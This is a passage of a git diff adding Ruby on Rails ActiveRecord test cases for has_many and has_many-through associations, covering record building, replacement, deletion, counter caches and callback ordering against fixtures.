+ # assignment is used, it won't get updated and will still be false.
+ first = topic.replies.to_a.first
+ assert_equal reply.id, first.id
+ assert_equal true, first.approved?
+ end
+
+ def test_to_a_should_dup_target
+ ary = topics(:first).replies.to_a
+ target = topics(:first).replies.target
+
+ assert_not_equal target.object_id, ary.object_id
+ end
+
+ def test_merging_with_custom_attribute_writer
+ bulb = Bulb.new(:color => "red")
+ assert_equal "RED!", bulb.color
+
+ car = Car.create!
+ car.bulbs << bulb
+
+ assert_equal "RED!", car.bulbs.to_a.first.color
+ end
+
+ def test_abstract_class_with_polymorphic_has_many
+ post = SubStiPost.create! :title => "fooo", :body => "baa"
+ tagging = Tagging.create! :taggable => post
+ assert_equal [tagging], post.taggings
+ end
+
+ def test_build_with_polymorphic_has_many_does_not_allow_to_override_type_and_id
+ welcome = posts(:welcome)
+ tagging = welcome.taggings.build(:taggable_id => 99, :taggable_type => 'ShouldNotChange')
+
+ assert_equal welcome.id, tagging.taggable_id
+ assert_equal 'Post', tagging.taggable_type
+ end
+
+ def test_dont_call_save_callbacks_twice_on_has_many
+ firm = companies(:first_firm)
+ contract = firm.contracts.create!
+
+ assert_equal 1, contract.hi_count
+ assert_equal 1, contract.bye_count
+ end
+
+ def test_association_attributes_are_available_to_after_initialize
+ car = Car.create(:name => 'honda')
+ bulb = car.bulbs.build
+
+ assert_equal car.id, bulb.attributes_after_initialize['car_id']
+ end
+
+ def test_replace
+ car = Car.create(:name => 'honda')
+ bulb1 = car.bulbs.create
+ bulb2 = Bulb.create
+
+ assert_equal [bulb1], car.bulbs
+ car.bulbs.replace([bulb2])
+ assert_equal [bulb2], car.bulbs
+ assert_equal [bulb2], car.reload.bulbs
+ end
+
+ def test_replace_returns_target
+ car = Car.create(:name => 'honda')
+ bulb1 = car.bulbs.create
+ bulb2 = car.bulbs.create
+ bulb3 = Bulb.create
+
+ assert_equal [bulb1, bulb2], car.bulbs
+ result = car.bulbs.replace([bulb3, bulb1])
+ assert_equal [bulb1, bulb3], car.bulbs
+ assert_equal [bulb1, bulb3], result
+ end
+
+ def test_collection_association_with_private_kernel_method
+ firm = companies(:first_firm)
+ assert_equal [accounts(:signals37)], firm.accounts.open
+ end
+
+ test "first_or_initialize adds the record to the association" do
+ firm = Firm.create! name: 'omg'
+ client = firm.clients_of_firm.first_or_initialize
+ assert_equal [client], firm.clients_of_firm
+ end
+
+ test "first_or_create adds the record to the association" do
+ firm = Firm.create! name: 'omg'
+ firm.clients_of_firm.load_target
+ client = firm.clients_of_firm.first_or_create name: 'lol'
+ assert_equal [client], firm.clients_of_firm
+ assert_equal [client], firm.reload.clients_of_firm
+ end
+
+ test "delete_all, when not loaded, doesn't load the records" do
+ post = posts(:welcome)
+
+ assert post.taggings_with_delete_all.count > 0
+ assert !post.taggings_with_delete_all.loaded?
+
+ # 2 queries: one DELETE and another to update the counter cache
+ assert_queries(2) do
+ post.taggings_with_delete_all.delete_all
+ end
+ end
+
+ test ":finder_sql is deprecated" do
+ klass = Class.new(ActiveRecord::Base)
+ assert_deprecated { klass.has_many :foo, :finder_sql => 'lol' }
+ end
+
+ test ":counter_sql is deprecated" do
+ klass = Class.new(ActiveRecord::Base)
+ assert_deprecated { klass.has_many :foo, :counter_sql => 'lol' }
+ end
+
+ test "sum calculation with block for array compatibility is deprecated" do
+ assert_deprecated do
+ posts(:welcome).comments.sum { |c| c.id }
+ end
+ end
+
+ test "has many associations on new records use null relations" do
+ post = Post.new
+
+ assert_no_queries do
+ assert_equal [], post.comments
+ assert_equal [], post.comments.where(body: 'omg')
+ assert_equal [], post.comments.pluck(:body)
+ assert_equal 0, post.comments.sum(:id)
+ assert_equal 0, post.comments.count
+ end
+ end
+
+ test "collection proxy respects default scope" do
+ author = authors(:mary)
+ assert !author.first_posts.exists?
+ end
+
+ test "association with extend option" do
+ post = posts(:welcome)
+ assert_equal "lifo", post.comments_with_extend.author
+ assert_equal "hello", post.comments_with_extend.greeting
+ end
+
+ test "association with extend option with multiple extensions" do
+ post = posts(:welcome)
+ assert_equal "lifo", post.comments_with_extend_2.author
+ assert_equal "hello", post.comments_with_extend_2.greeting
+ end
+
+ test "delete record with complex joins" do
+ david = authors(:david)
+
+ post = david.posts.first
+ post.type = 'PostWithSpecialCategorization'
+ post.save
+
+ categorization = post.categorizations.first
+ categorization.special = true
+ categorization.save
+
+ assert_not_equal [], david.posts_with_special_categorizations
+ david.posts_with_special_categorizations = []
+ assert_equal [], david.posts_with_special_categorizations
+ end
+
+ test "does not duplicate associations when used with natural primary keys" do
+ speedometer = Speedometer.create!(id: '4')
+ speedometer.minivans.create!(minivan_id: 'a-van-red' ,name: 'a van', color: 'red')
+
+ assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
+ assert_equal 1, speedometer.reload.minivans.to_a.size
+ end
+end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
new file mode 100644
index 0000000..70c6b48
--- /dev/null
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -0,0 +1,910 @@
+require "cases/helper"
+require 'models/post'
+require 'models/person'
+require 'models/reference'
+require 'models/job'
+require 'models/reader'
+require 'models/comment'
+require 'models/tag'
+require 'models/tagging'
+require 'models/author'
+require 'models/owner'
+require 'models/pet'
+require 'models/toy'
+require 'models/contract'
+require 'models/company'
+require 'models/developer'
+require 'models/subscriber'
+require 'models/book'
+require 'models/subscription'
+require 'models/essay'
+require 'models/category'
+require 'models/categorization'
+require 'models/member'
+require 'models/membership'
+require 'models/club'
+
+class HasManyThroughAssociationsTest < ActiveRecord::TestCase
+ fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
+ :owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
+ :subscribers, :books, :subscriptions, :developers, :categorizations, :essays
+
+ # Dummies to force column loads so query counts are clean.
+ def setup
+ Person.create :first_name => 'gummy'
+ Reader.create :person_id => 0, :post_id => 0
+ end
+
+ def test_include?
+ person = Person.new
+ post = Post.new
+ person.posts << post
+ assert person.posts.include?(post)
+ end
+
+ def test_associate_existing
+ post = posts(:thinking)
+ person = people(:david)
+
+ assert_queries(1) do
+ post.people << person
+ end
+
+ assert_queries(1) do
+ assert post.people.include?(person)
+ end
+
+ assert post.reload.people(true).include?(person)
+ end
+
+ def test_associate_existing_record_twice_should_add_to_target_twice
+ post = posts(:thinking)
+ person = people(:david)
+
+ assert_difference 'post.people.to_a.count', 2 do
+ post.people << person
+ post.people << person
+ end
+ end
+
+ def test_associate_existing_record_twice_should_add_records_twice
+ post = posts(:thinking)
+ person = people(:david)
+
+ assert_difference 'post.people.count', 2 do
+ post.people << person
+ post.people << person
+ end
+ end
+
+ def test_add_two_instance_and_then_deleting
+ post = posts(:thinking)
+ person = people(:david)
+
+ post.people << person
+ post.people << person
+
+ counts = ['post.people.count', 'post.people.to_a.count', 'post.readers.count', 'post.readers.to_a.count']
+ assert_difference counts, -2 do
+ post.people.delete(person)
+ end
+
+ assert !post.people.reload.include?(person)
+ end
+
+ def test_associating_new
+ assert_queries(1) { posts(:thinking) }
+ new_person = nil # so block binding catches it
+
+ assert_queries(0) do
+ new_person = Person.new :first_name => 'bob'
+ end
+
+ # Associating new records always saves them
+ # Thus, 1 query for the new person record, 1 query for the new join table record
+ assert_queries(2) do
+ posts(:thinking).people << new_person
+ end
+
+ assert_queries(1) do
+ assert posts(:thinking).people.include?(new_person)
+ end
+
+ assert posts(:thinking).reload.people(true).include?(new_person)
+ end
+
+ def test_associate_new_by_building
+ assert_queries(1) { posts(:thinking) }
+
+ assert_queries(0) do
+ posts(:thinking).people.build(:first_name => "Bob")
+ posts(:thinking).people.new(:first_name => "Ted")
+ end
+
+ # Should only need to load the association once
+ assert_queries(1) do
+ assert posts(:thinking).people.collect(&:first_name).include?("Bob")
+ assert posts(:thinking).people.collect(&:first_name).include?("Ted")
+ end
+
+ # 2 queries for each new record (1 to save the record itself, 1 for the join model)
+ # * 2 new records = 4
+ # + 1 query to save the actual post = 5
+ assert_queries(5) do
+ posts(:thinking).body += '-changed'
+ posts(:thinking).save
+ end
+
+ assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Bob")
+ assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Ted")
+ end
+
+ def test_build_then_save_with_has_many_inverse
+ post = posts(:thinking)
+ person = post.people.build(:first_name => "Bob")
+ person.save
+ post.reload
+
+ assert post.people.include?(person)
+ end
+
+ def test_build_then_save_with_has_one_inverse
+ post = posts(:thinking)
+ person = post.single_people.build(:first_name => "Bob")
+ person.save
+ post.reload
+
+ assert post.single_people.include?(person)
+ end
+
+ def test_delete_association
+ assert_queries(2){posts(:welcome);people(:michael); }
+
+ assert_queries(1) do
+ posts(:welcome).people.delete(people(:michael))
+ end
+
+ assert_queries(1) do
+ assert posts(:welcome).people.empty?
+ end
+
+ assert posts(:welcome).reload.people(true).empty?
+ end
+
+ def test_destroy_association
+ assert_no_difference "Person.count" do
+ assert_difference "Reader.count", -1 do
+ posts(:welcome).people.destroy(people(:michael))
+ end
+ end
+
+ assert posts(:welcome).reload.people.empty?
+ assert posts(:welcome).people(true).empty?
+ end
+
+ def test_destroy_all
+ assert_no_difference "Person.count" do
+ assert_difference "Reader.count", -1 do
+ posts(:welcome).people.destroy_all
+ end
+ end
+
+ assert posts(:welcome).reload.people.empty?
+ assert posts(:welcome).people(true).empty?
+ end
+
+ def test_should_raise_exception_for_destroying_mismatching_records
+ assert_no_difference ["Person.count", "Reader.count"] do
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:welcome).people.destroy(posts(:thinking)) }
+ end
+ end
+
+ def test_delete_through_belongs_to_with_dependent_nullify
+ Reference.make_comments = true
+
+ person = people(:michael)
+ job = jobs(:magician)
+ reference = Reference.where(:job_id => job.id, :person_id => person.id).first
+
+ assert_no_difference ['Job.count', 'Reference.count'] do
+ assert_difference 'person.jobs.count', -1 do
+ person.jobs_with_dependent_nullify.delete(job)
+ end
+ end
+
+ assert_equal nil, reference.reload.job_id
+ ensure
+ Reference.make_comments = false
+ end
+
+ def test_delete_through_belongs_to_with_dependent_delete_all
+ Reference.make_comments = true
+
+ person = people(:michael)
+ job = jobs(:magician)
+
+ # Make sure we're not deleting everything
+ assert person.jobs.count >= 2
+
+ assert_no_difference 'Job.count' do
+ assert_difference ['person.jobs.count', 'Reference.count'], -1 do
+ person.jobs_with_dependent_delete_all.delete(job)
+ end
+ end
+
+ # Check that the destroy callback on Reference did not run
+ assert_equal nil, person.reload.comments
+ ensure
+ Reference.make_comments = false
+ end
+
+ def test_delete_through_belongs_to_with_dependent_destroy
+ Reference.make_comments = true
+
+ person = people(:michael)
+ job = jobs(:magician)
+
+ # Make sure we're not deleting everything
+ assert person.jobs.count >= 2
+
+ assert_no_difference 'Job.count' do
+ assert_difference ['person.jobs.count', 'Reference.count'], -1 do
+ person.jobs_with_dependent_destroy.delete(job)
+ end
+ end
+
+ # Check that the destroy callback on Reference ran
+ assert_equal "Reference destroyed", person.reload.comments
+ ensure
+ Reference.make_comments = false
+ end
+
+ def test_belongs_to_with_dependent_destroy
+ person = PersonWithDependentDestroyJobs.find(1)
+
+ # Create a reference which is not linked to a job. This should not be destroyed.
+ person.references.create!
+
+ assert_no_difference 'Job.count' do
+ assert_difference 'Reference.count', -person.jobs.count do
+ person.destroy
+ end
+ end
+ end
+
+ def test_belongs_to_with_dependent_delete_all
+ person = PersonWithDependentDeleteAllJobs.find(1)
+
+ # Create a reference which is not linked to a job. This should not be destroyed.
+ person.references.create!
+
+ assert_no_difference 'Job.count' do
+ assert_difference 'Reference.count', -person.jobs.count do
+ person.destroy
+ end
+ end
+ end
+
+ def test_belongs_to_with_dependent_nullify
+ person = PersonWithDependentNullifyJobs.find(1)
+
+ references = person.references.to_a
+
+ assert_no_difference ['Reference.count', 'Job.count'] do
+ person.destroy
+ end
+
+ references.each do |reference|
+ assert_equal nil, reference.reload.job_id
+ end
+ end
+
+ def test_update_counter_caches_on_delete
+ post = posts(:welcome)
+ tag = post.tags.create!(:name => 'doomed')
+
+ assert_difference ['post.reload.taggings_count', 'post.reload.tags_count'], -1 do
+ posts(:welcome).tags.delete(tag)
+ end
+ end
+
+ def test_update_counter_caches_on_delete_with_dependent_destroy
+ post = posts(:welcome)
+ tag = post.tags.create!(:name => 'doomed')
+ post.update_columns(tags_with_destroy_count: post.tags.count)
+
+ assert_difference ['post.reload.taggings_count', 'post.reload.tags_with_destroy_count'], -1 do
+ posts(:welcome).tags_with_destroy.delete(tag)
+ end
+ end
+
+ def test_update_counter_caches_on_delete_with_dependent_nullify
+ post = posts(:welcome)
+ tag = post.tags.create!(:name => 'doomed')
+ post.update_columns(tags_with_nullify_count: post.tags.count)
+
+ assert_no_difference 'post.reload.taggings_count' do
+ assert_difference 'post.reload.tags_with_nullify_count', -1 do
+ posts(:welcome).tags_with_nullify.delete(tag)
+ end
+ end
+ end
+
+ def test_update_counter_caches_on_replace_association
+ post = posts(:welcome)
+ tag = post.tags.create!(:name => 'doomed')
+ tag.tagged_posts << posts(:thinking)
+
+ tag.tagged_posts = []
+ post.reload
+
+ assert_equal(post.taggings.count, post.taggings_count)
+ end
+
+ def test_replace_association
+ assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
+
+ # 1 query to delete the existing reader (michael)
+ # 1 query to associate the new reader (david)
+ assert_queries(2) do
+ posts(:welcome).people = [people(:david)]
+ end
+
+ assert_queries(0){
+ assert posts(:welcome).people.include?(people(:david))
+ assert !posts(:welcome).people.include?(people(:michael))
+ }
+
+ assert posts(:welcome).reload.people(true).include?(people(:david))
+ assert !posts(:welcome).reload.people(true).include?(people(:michael))
+ end
+
+ def test_replace_order_is_preserved
+ posts(:welcome).people.clear
+ posts(:welcome).people = [people(:david), people(:michael)]
+ assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.order('id').map(&:person_id)
+
+ # Test the inverse order in case the first success was a coincidence
+ posts(:welcome).people.clear
+ posts(:welcome).people = [people(:michael), people(:david)]
+ assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.order('id').map(&:person_id)
+ end
+
+ def test_replace_by_id_order_is_preserved
+ posts(:welcome).people.clear
+ posts(:welcome).person_ids = [people(:david).id, people(:michael).id]
+ assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.order('id').map(&:person_id)
+
+ # Test the inverse order in case the first success was a coincidence
+ posts(:welcome).people.clear
+ posts(:welcome).person_ids = [people(:michael).id, people(:david).id]
+ assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.order('id').map(&:person_id)
+ end
+
+ def test_associate_with_create
+ assert_queries(1) { posts(:thinking) }
+
+ # 1 query for the new record, 1 for the join table record
+ # No need to update the actual collection yet!
+ assert_queries(2) do
+ posts(:thinking).people.create(:first_name=>"Jeb")
+ end
+
+ # *Now* we actually need the collection so it's loaded
+ assert_queries(1) do
+ assert posts(:thinking).people.collect(&:first_name).include?("Jeb")
+ end
+
+ assert posts(:thinking).reload.people(true).collect(&:first_name).include?("Jeb")
+ end
+
+ def test_associate_with_create_and_no_options
+ peeps = posts(:thinking).people.count
+ posts(:thinking).people.create(:first_name => 'foo')
+ assert_equal peeps + 1, posts(:thinking).people.count
+ end
+
+ def test_associate_with_create_with_through_having_conditions
+ impatient_people = posts(:thinking).impatient_people.count
+ posts(:thinking).impatient_people.create!(:first_name => 'foo')
+ assert_equal impatient_people + 1, posts(:thinking).impatient_people.count
+ end
+
+ def test_associate_with_create_exclamation_and_no_options
+ peeps = posts(:thinking).people.count
+ posts(:thinking).people.create!(:first_name => 'foo')
+ assert_equal peeps + 1, posts(:thinking).people.count
+ end
+
+ def test_create_on_new_record
+ p = Post.new
+
+ assert_raises(ActiveRecord::RecordNotSaved) { p.people.create(:first_name => "mew") }
+ assert_raises(ActiveRecord::RecordNotSaved) { p.people.create!(:first_name => "snow") }
+ end
+
+ def test_associate_with_create_and_invalid_options
+ firm = companies(:first_firm)
+ assert_no_difference('firm.developers.count') { assert_nothing_raised { firm.developers.create(:name => '0') } }
+ end
+
+ def test_associate_with_create_and_valid_options
+ firm = companies(:first_firm)
+ assert_difference('firm.developers.count', 1) { firm.developers.create(:name => 'developer') }
+ end
+
+ def test_associate_with_create_bang_and_invalid_options
+ firm = companies(:first_firm)
+ assert_no_difference('firm.developers.count') { assert_raises(ActiveRecord::RecordInvalid) { firm.developers.create!(:name => '0') } }
+ end
+
+ def test_associate_with_create_bang_and_valid_options
+ firm = companies(:first_firm)
+ assert_difference('firm.developers.count', 1) { firm.developers.create!(:name => 'developer') }
+ end
+
+ def test_push_with_invalid_record
+ firm = companies(:first_firm)
+ assert_raises(ActiveRecord::RecordInvalid) { firm.developers << Developer.new(:name => '0') }
+ end
+
+ def test_push_with_invalid_join_record
+ repair_validations(Contract) do
+ Contract.validate {|r| r.errors[:base] << 'Invalid Contract' }
+
+ firm = companies(:first_firm)
+ lifo = Developer.new(:name => 'lifo')
+ assert_raises(ActiveRecord::RecordInvalid) { firm.developers << lifo }
+
+ lifo = Developer.create!(:name => 'lifo')
+ assert_raises(ActiveRecord::RecordInvalid) { firm.developers << lifo }
+ end
+ end
+
+ def test_clear_associations
+ assert_queries(2) { posts(:welcome);posts(:welcome).people(true) }
+
+ assert_queries(1) do
+ posts(:welcome).people.clear
+ end
+
+ assert_queries(0) do
+ assert posts(:welcome).people.empty?
+ end
+
+ assert posts(:welcome).reload.people(true).empty?
+ end
+
+ def test_association_callback_ordering
+ Post.reset_log
+ log = Post.log
+ post = posts(:thinking)
+
+ post.people_with_callbacks << people(:michael)
+ assert_equal [
+ [:added, :before, "Michael"],
+ [:added, :after, "Michael"]
+ ], log.last(2)
+
+ post.people_with_callbacks.push(people(:david), Person.create!(:first_name => "Bob"), Person.new(:first_name => "Lary"))
+ assert_equal [
+ [:added, :before, "David"],
+ [:added, :after, "David"],
+ [:added, :before, "Bob"],
+ [:added, :after, "Bob"],
+ [:added, :before, "Lary"],
+ [:added, :after, "Lary"]
+ ],log.last(6)
+
+ post.people_with_callbacks.build(:first_name => "Ted")
+ assert_equal [
+ [:added, :before, "Ted"],
+ [:added, :after, "Ted"]
+ ], log.last(2)
+
+ post.people_with_callbacks.create(:first_name => "Sam")
+ assert_equal [
+ [:added, :before, "Sam"],
+ [:added, :after, "Sam"]
+ ], log.last(2)
+
+ post.people_with_callbacks = [people(:michael),people(:david), Person.new(:first_name => "Julian"), Person.create!(:first_name => "Roger")]
+ assert_equal((%w(Ted Bob Sam Lary) * 2).sort, log[-12..-5].collect(&:last).sort)
+ assert_equal [
+ [:added, :before, "Julian"],
+ [:added, :after, "Julian"],
+ [:added, :before, "Roger"],
+ [:added, :after, "Roger"]
+ ], log.last(4)
+
+ post.people_with_callbacks.clear
+ assert_equal((%w(Michael David Julian Roger) * 2).sort, log.last(8).collect(&:last).sort)
+ end
+
+ def test_dynamic_find_should_respect_association_include
+ # SQL error in sort clause if :include is not included
+ # due to Unknown column 'comments.id'
+ assert Person.find(1).posts_with_comments_sorted_by_comment_id.find_by_title('Welcome to the weblog')
+ end
+
+ def test_count_with_include_should_alias_join_table
+ assert_equal 2, people(:michael).posts.includes(:readers).count
+ end
+
+ def test_inner_join_with_quoted_table_name
+ assert_equal 2, people(:michael).jobs.size
+ end
+
+ def test_get_ids
+ assert_equal [posts(:welcome).id, posts(:authorless).id].sort, people(:michael).post_ids.sort
+ end
+
+ def test_get_ids_for_has_many_through_with_conditions_should_not_preload
+ Tagging.create!(:taggable_type => 'Post', :taggable_id => posts(:welcome).id, :tag => tags(:misc))
+ ActiveRecord::Associations::Preloader.expects(:new).never
+ posts(:welcome).misc_tag_ids
+ end
+
+ def test_get_ids_for_loaded_associations
+ person = people(:michael)
+ person.posts(true)
+ assert_queries(0) do
+ person.post_ids
+ person.post_ids
+ end
+ end
+
+ def test_get_ids_for_unloaded_associations_does_not_load_them
+ person = people(:michael)
+ assert !person.posts.loaded?
+ assert_equal [posts(:welcome).id, posts(:authorless).id].sort, person.post_ids.sort
+ assert !person.posts.loaded?
+ end
+
+ def test_association_proxy_transaction_method_starts_transaction_in_association_class
+ Tag.expects(:transaction)
+ Post.first.tags.transaction do
+ # nothing
+ end
+ end
+
+ def test_has_many_association_through_a_belongs_to_association_where_the_association_doesnt_exist
+ post = Post.create!(:title => "TITLE", :body => "BODY")
+ assert_equal [], post.author_favorites
+ end
+
+ def test_has_many_association_through_a_belongs_to_association
+ author = authors(:mary)
+ post = Post.create!(:author => author, :title => "TITLE", :body => "BODY")
+ author.author_favorites.create(:favorite_author_id => 1)
+ author.author_favorites.create(:favorite_author_id => 2)
+ author.author_favorites.create(:favorite_author_id => 3)
+ assert_equal post.author.author_favorites, post.author_favorites
+ end
+
+ def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
+ assert_equal 2, owners(:blackbeard).toys.count
+ end
+
+ def test_find_on_has_many_association_collection_with_include_and_conditions
+ post_with_no_comments = people(:michael).posts_with_no_comments.first
+ assert_equal post_with_no_comments, posts(:authorless)
+ end
+
+ def test_has_many_through_has_one_reflection
+ assert_equal [comments(:eager_sti_on_associations_vs_comment)], authors(:david).very_special_comments
+ end
+
+ def test_modifying_has_many_through_has_one_reflection_should_raise
+ [
+ lambda { authors(:david).very_special_comments = [VerySpecialComment.create!(:body => "Gorp!", :post_id => 1011), VerySpecialComment.create!(:body => "Eep!", :post_id => 1012)] },
+ lambda { authors(:david).very_special_comments << VerySpecialComment.create!(:body => "Hoohah!", :post_id => 1013) },
+ lambda { authors(:david).very_special_comments.delete(authors(:david).very_special_comments.first) },
+ ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
+ end
+
+ def test_has_many_association_through_a_has_many_association_to_self
+ sarah = Person.create!(:first_name => 'Sarah', :primary_contact_id => people(:susan).id, :gender => 'F', :number1_fan_id => 1)
+ john = Person.create!(:first_name => 'John', :primary_contact_id => sarah.id, :gender => 'M', :number1_fan_id => 1)
+ assert_equal sarah.agents, [john]
+ assert_equal people(:susan).agents.map(&:agents).flatten, people(:susan).agents_of_agents
+ end
+
+ def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
+ Categorization.create(:author => authors(:mary), :named_category_name => categories(:general).name)
+ assert_equal categories(:general), authors(:mary).named_categories.first
+ end
+
+ def test_collection_build_with_nonstandard_primary_key_on_belongs_to
+ author = authors(:mary)
+ category = author.named_categories.build(:name => "Primary")
+ author.save
+ assert Categorization.exists?(:author_id => author.id, :named_category_name => category.name)
+ assert author.named_categories(true).include?(category)
+ end
+
+ def test_collection_create_with_nonstandard_primary_key_on_belongs_to
+ author = authors(:mary)
+ category = author.named_categories.create(:name => "Primary")
+ assert Categorization.exists?(:author_id => author.id, :named_category_name => category.name)
+ assert author.named_categories(true).include?(category)
+ end
+
+ def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
+ author = authors(:mary)
+ category = author.named_categories.create(:name => "Primary")
+ author.named_categories.delete(category)
+ assert !Categorization.exists?(:author_id => author.id, :named_category_name => category.name)
+ assert author.named_categories(true).empty?
+ end
+
+ def test_collection_singular_ids_getter_with_string_primary_keys
+ book = books(:awdr)
+ assert_equal 2, book.subscriber_ids.size
+ assert_equal [subscribers(:first).nick, subscribers(:second).nick].sort, book.subscriber_ids.sort
+ end
+
+ def test_collection_singular_ids_setter
+ company = companies(:rails_core)
+ dev = Developer.first
+
+ company.developer_ids = [dev.id]
+ assert_equal [dev], company.developers
+ end
+
+ def test_collection_singular_ids_setter_with_string_primary_keys
+ assert_nothing_raised do
+ book = books(:awdr)
+ book.subscriber_ids = [subscribers(:second).nick]
+ assert_equal [subscribers(:second)], book.subscribers(true)
+
+ book.subscriber_ids = []
+ assert_equal [], book.subscribers(true)
+ end
+
+ end
+
+ def test_collection_singular_ids_setter_raises_exception_when_invalid_ids_set
+ company = companies(:rails_core)
+ ids = [Developer.first.id, -9999]
+ assert_raises(ActiveRecord::RecordNotFound) {company.developer_ids= ids}
+ end
+
+ def test_build_a_model_from_hm_through_association_with_where_clause
+ assert_nothing_raised { books(:awdr).subscribers.where(:nick => "marklazz").build }
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_hm_through_association_with_where_clause
+ new_subscriber = books(:awdr).subscribers.where(:nick => "marklazz").build
+ assert_equal new_subscriber.nick, "marklazz"
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_hm_through_association_with_multiple_where_clauses
+ new_subscriber = books(:awdr).subscribers.where(:nick => "marklazz").where(:name => 'Marcelo Giorgi').build
+ assert_equal new_subscriber.nick, "marklazz"
+ assert_equal new_subscriber.name, "Marcelo Giorgi"
+ end
+
+ def test_include_method_in_association_through_should_return_true_for_instance_added_with_build
+ person = Person.new
+ reference = person.references.build
+ job = reference.build_job
+ assert person.jobs.include?(job)
+ end
+
+ def test_include_method_in_association_through_should_return_true_for_instance_added_with_nested_builds
+ author = Author.new
+ post = author.posts.build
+ comment = post.comments.build
+ assert author.comments.include?(comment)
+ end
+
+ def test_through_association_readonly_should_be_false
+ assert !people(:michael).posts.first.readonly?
+ assert !people(:michael).posts.to_a.first.readonly?
+ end
+
+ def test_can_update_through_association
+ assert_nothing_raised do
+ people(:michael).posts.first.update!(title: "Can write")
+ end
+ end
+
+ def test_has_many_through_polymorphic_with_primary_key_option
+ assert_equal [categories(:general)], authors(:david).essay_categories
+
+ authors = Author.joins(:essay_categories).where('categories.id' => categories(:general).id)
+ assert_equal authors(:david), authors.first
+
+ assert_equal [owners(:blackbeard)], authors(:david).essay_owners
+
+ authors = Author.joins(:essay_owners).where("owners.name = 'blackbeard'")
+ assert_equal authors(:david), authors.first
+ end
+
+ def test_has_many_through_with_primary_key_option
+ assert_equal [categories(:general)], authors(:david).essay_categories_2
+
+ authors = Author.joins(:essay_categories_2).where('categories.id' => categories(:general).id)
+ assert_equal authors(:david), authors.first
+ end
+
+ def test_size_of_through_association_should_increase_correctly_when_has_many_association_is_added
+ post = posts(:thinking)
+ readers = post.readers.size
+ post.people << people(:michael)
+ assert_equal readers + 1, post.readers.size
+ end
+
+ def test_has_many_through_with_default_scope_on_join_model
+ assert_equal posts(:welcome).comments.order('id').to_a, authors(:david).comments_on_first_posts
+ end
+
+ def test_create_has_many_through_with_default_scope_on_join_model
+ category = authors(:david).special_categories.create(:name => "Foo")
+ assert_equal 1, category.categorizations.where(:special => true).count
+ end
+
+ def test_joining_has_many_through_with_uniq
+ mary = Author.joins(:unique_categorized_posts).where(:id => authors(:mary).id).first
+ assert_equal 1, mary.unique_categorized_posts.length
+ assert_equal 1, mary.unique_categorized_post_ids.length
+ end
+
+ def test_joining_has_many_through_belongs_to
+ posts = Post.joins(:author_categorizations).order('posts.id').
+ where('categorizations.id' => categorizations(:mary_thinking_sti).id)
+
+ assert_equal [posts(:eager_other), posts(:misc_by_mary), posts(:other_by_mary)], posts
+ end
+
+ def test_select_chosen_fields_only
+ author = authors(:david)
+ assert_equal ['body', 'id'].sort, author.comments.select('comments.body').first.attributes.keys.sort
+ end
+
+ def test_get_has_many_through_belongs_to_ids_with_conditions
+ assert_equal [categories(:general).id], authors(:mary).categories_like_general_ids
+ end
+
+ def test_get_collection_singular_ids_on_has_many_through_with_conditions_and_include
+ person = Person.first
+ assert_equal person.posts_with_no_comment_ids, person.posts_with_no_comments.map(&:id)
+ end
+
+ def test_count_has_many_through_with_named_scope
+ assert_equal 2, authors(:mary).categories.count
+ assert_equal 1, authors(:mary).categories.general.count
+ end
+
+ def test_has_many_through_belongs_to_should_update_when_the_through_foreign_key_changes
+ post = posts(:eager_other)
+
+ post.author_categorizations
+ proxy = post.send(:association_instance_get, :author_categorizations)
+
+ assert !proxy.stale_target?
+ assert_equal authors(:mary).categorizations.sort_by(&:id), post.author_categorizations.sort_by(&:id)
+
+ post.author_id = authors(:david).id
+
+ assert proxy.stale_target?
+ assert_equal authors(:david).categorizations.sort_by(&:id), post.author_categorizations.sort_by(&:id)
+ end
+
+ def test_create_with_conditions_hash_on_through_association
+ member = members(:groucho)
+ club = member.clubs.create!
+
+ assert_equal true, club.reload.membership.favourite
+ end
+
+ def test_deleting_from_has_many_through_a_belongs_to_should_not_try_to_update_counter
+ post = posts(:welcome)
+ address = author_addresses(:david_address)
+
+ assert post.author_addresses.include?(address)
+ post.author_addresses.delete(address)
+ assert post[:author_count].nil?
+ end
+
+ def test_primary_key_option_on_source
+ post = posts(:welcome)
+ category = categories(:general)
+ Categorization.create!(:post_id => post.id, :named_category_name => category.name)
+
+ assert_equal [category], post.named_categories
+ assert_equal [category.name], post.named_category_ids # checks when target loaded
+ assert_equal [category.name], post.reload.named_category_ids # checks when target no loaded
+ end
+
+ def test_create_should_not_raise_exception_when_join_record_has_errors
+ repair_validations(Categorization) do
+ Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' }
+ Category.create(:name => 'Fishing', :authors => [Author.first])
+ end
+ end
+
+ def test_save_should_not_raise_exception_when_join_record_has_errors
+ repair_validations(Categorization) do
+ Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' }
+ c = Category.create(:name => 'Fishing', :authors => [Author.first])
+ c.save
+ end
+ end
+
+ def test_assign_array_to_new_record_builds_join_records
+ c = Category.new(:name => 'Fishing', :authors => [Author.first])
+ assert_equal 1, c.categorizations.size
+ end
+
+ def test_create_bang_should_raise_exception_when_join_record_has_errors
+ repair_validations(Categorization) do
+ Categorization.validate { |r| r.errors[:base] << 'Invalid Categorization' }
+ assert_raises(ActiveRecord::RecordInvalid) do
+ Category.create!(:name => 'Fishing', :authors => [Author.first])
+ end
+ end
+ end
+
